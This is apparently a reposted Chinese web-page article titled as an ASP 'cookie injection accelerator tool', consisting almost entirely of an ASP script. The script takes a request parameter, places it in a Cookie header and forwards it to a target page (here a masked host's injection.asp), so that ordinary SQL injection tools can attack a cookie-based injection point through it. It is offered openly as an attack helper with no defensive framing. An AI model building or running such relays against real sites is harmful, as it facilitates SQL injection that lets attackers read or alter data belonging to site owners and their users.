页面导航: 首页网络编程ASP编程应用技巧 → 正文内容

ASP版实现cookies注入加速工具

发布:dxy 字体:[增加 减小] 类型:转载
来源:职业欠钱&zj1244共用的public Blog


<% 
Str="xxxid="&escape(request("FK")) 
Url="http://xxx.chinaxxx.com/injection.asp" 
response.write PostData(Url,Str) 
Function PostData(PostUrl,PostCok)  
Dim Http 
Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 
With Http 
.Open "GET",PostUrl,False 
.SetRequestHeader "Cookie",PostCok 
.Send 
PostData = .ResponseBody 
End With 
Set Http = Nothing 
PostData =bytes2BSTR(PostData) 
End Function 
Function bytes2BSTR(vIn) 
Dim strReturn 
Dim I, ThisCharCode, NextCharCode 
strReturn = "" 
For I = 1 To LenB(vIn) 
ThisCharCode = AscB(MidB(vIn, I, 1)) 
If ThisCharCode < &H80 Then 
strReturn = strReturn & Chr(ThisCharCode) 
Else 
NextCharCode = AscB(MidB(vIn, I + 1, 1)) 
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 
I = I + 1 
End If 
Next 
bytes2BSTR = strReturn 
End Function 
%>
浏览次数:载入中... 打印本文关闭本文返回首页
·在百度中搜索关于“ASP版实现cookies注入加速工具”相关内容
·在谷歌中搜索关于“ASP版实现cookies注入加速工具”相关内容

文章评论

共有 位脚本之家网友发表了评论我来说两句

同 类 文 章
最 近 更 新
热 点 排 行